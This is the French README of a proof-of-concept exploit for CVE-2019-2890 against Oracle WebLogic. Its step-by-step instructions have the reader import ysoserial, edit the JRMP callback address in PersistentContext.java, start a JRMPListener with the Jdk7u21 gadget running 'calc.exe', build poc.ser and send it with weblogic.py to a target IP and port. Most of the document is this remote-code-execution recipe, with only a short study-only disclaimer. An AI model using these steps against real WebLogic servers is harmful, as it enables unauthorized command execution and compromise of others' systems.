l1nk3rlin/cve-2019-2890Exploit PoC pour CVE-2019-2890 ciblant Oracle WebLogic, utilisant la charge utile JRMP de ysoserial pour l'exécution de commandes à distance via la désérialisation d'objets sérialisés.
Utilisation à des fins d'étude et d'échange uniquement, toute autre utilisation est sous votre responsabilité.
Les fichiers JAR pertinents ont déjà été importés dans le projet, et la méthode d'exploitation utilise JRMP de yso. Lors du débogage, vous pouvez modifier la méthode d'exploitation.
Tout d'abord, placez le fichier SerializedSystemIni.dat de Weblogic dans le dossier security.
Ensuite, renommez yso en ysoserial.jar et importez-le dans le répertoire lib.
Ensuite, dans weblogic/wsee/jaxws/persistence/PersistentContext.java, modifiez l'adresse IP et le port de getObject.
try {
var3.writeObject(Poc.getObject("127.0.0.1:8000"));
} catch (Exception e) {
e.printStackTrace();
}
Enfin, utilisez l'écoute JRMP à distance pour exécuter la commande 7u21.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 Jdk7u21 "calc.exe"
Méthode d'utilisation : exécutez Poc.java pour générer le fichier de sérialisation poc.ser, puis utilisez :
python weblogic.py ip port poc.ser
